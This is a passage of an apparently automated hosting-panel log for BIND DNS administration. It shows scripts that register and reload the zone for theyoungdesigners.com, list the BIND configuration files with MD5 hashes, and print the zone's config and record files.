MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-03-21 14:00:59: 

PUT: /tmp/pkp560051

#!/usr/bin/python3
import os, grp, subprocess, time
from pwd import getpwnam

#target cache files
HASH = '6e7fd231117136482801b6740f7def61'
ZONE_NAME = 'theyoungdesigners.com'
TARGET_FILES = '/var/cache/bind'
LOCAL_FILE = '/etc/bind/named.conf.local'

uid = getpwnam('bind').pw_uid
gid = grp.getgrnam('bind')[2]
try:
	os.chown(TARGET_FILES + '/' + HASH + '.conf', uid, gid)
	os.chown(TARGET_FILES + '/' + HASH + '.txt', uid, gid)
except Exception as ex:
	pass

PAYLOAD = 'include "' + HASH + '.conf"; # ' + ZONE_NAME
#text to insert into local
hash_present = False
with open(LOCAL_FILE) as fp:  
	line = fp.readline()
	while line:
		if HASH in line:
			hash_present = True
			break
		line = fp.readline()

fp.close()

if not hash_present:
	fp = open(LOCAL_FILE, 'a')
	fp.write(PAYLOAD + "\n")
	fp.close()
	# call = old python, 'run' python 3.5+
	subprocess.call(['rndc', 'reconfig'])
else:
	subprocess.call(['rndc', 'freeze', ZONE_NAME ])
	subprocess.call(['rndc', 'reload', ZONE_NAME ])
	subprocess.call(['rndc', 'thaw', ZONE_NAME ])
	time.sleep(3)


2026-03-21 14:00:59: 

chmod 755 /tmp/pkp560051; /tmp/pkp560051; rm /tmp/pkp560051

2026-03-21 14:01:02: 


rndc: 'freeze' failed: not dynamic
zone reload queued




STDERR:
rndc: 'freeze' failed: not dynamic


2026-03-21 14:01:02: 

PUT: /tmp/pkp196730

#!/bin/bash
rndc reload theyoungdesigners.com 2>&1


2026-03-21 14:01:02: 

chmod 755 /tmp/pkp196730; /tmp/pkp196730; rm /tmp/pkp196730

2026-03-21 14:01:02: 


zone reload up-to-date


2026-03-21 14:01:02: Establishing a connection
2026-03-21 14:01:02: 

PUT: /tmp/pkp636953

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-03-21 14:01:02: 

runuser -l bind -s /bin/bash -c '/tmp/pkp636953; rm /tmp/pkp636953'

2026-03-21 14:01:02: 
2026-03-21 14:01:02: 

PUT: /tmp/pkp795678

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/var/cache/bind/6e7fd231117136482801b6740f7def61.conf')
    show_file('/var/cache/bind/6e7fd231117136482801b6740f7def61.txt')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-03-21 14:01:02: 

chmod 755 /tmp/pkp795678; /tmp/pkp795678; rm /tmp/pkp795678

2026-03-21 14:01:02: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/var/cache/bind/6e7fd231117136482801b6740f7def61.conf	218
# this is an automatically created file: manual changes will be overwritten.
zone "theyoungdesigners.com" IN {
  ##owner 0;
  type master;
  file "6e7fd231117136482801b6740f7def61.txt";
    allow-update { none; };

};


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/var/cache/bind/6e7fd231117136482801b6740f7def61.txt	573
; this is an automatically created file: manual changes will be overwritten.
$TTL    3600
theyoungdesigners.com.   		 IN    SOA      	theyoungdesigners.com. hostmaster.theyoungdesigners.com. ( 134820331 14400 3600 14400 3600 )
theyoungdesigners.com.   		 IN    NS       	ns1.hostz.org.
theyoungdesigners.com.   		 IN    NS       	ns2.hostz.org.
theyoungdesigners.com.    60	 IN    A        	46.102.156.201
@                         300	 IN    TXT      	"google-site-verification=11dUh9FLMRf24j-32pwKNgRGF8Oa5seZqLM65I2tYck"
www.theyoungdesigners.com. 60	 IN    CNAME    	@






MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 0ef694a7641428c526ed26173b33ce38
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 5c27bd546fb502ce3d4635f83c2fb039
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= d93d0bae8173161ff099af9a127e1918
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= 4b5b7a593bb4944b69411cccb86c8894
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-03-21 14:09:51: Establishing a connection
2026-03-21 14:09:51: 

PUT: /tmp/pkp270727

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-03-21 14:09:52: 

runuser -l bind -s /bin/bash -c '/tmp/pkp270727; rm /tmp/pkp270727'

2026-03-21 14:09:52: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 0ef694a7641428c526ed26173b33ce38
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
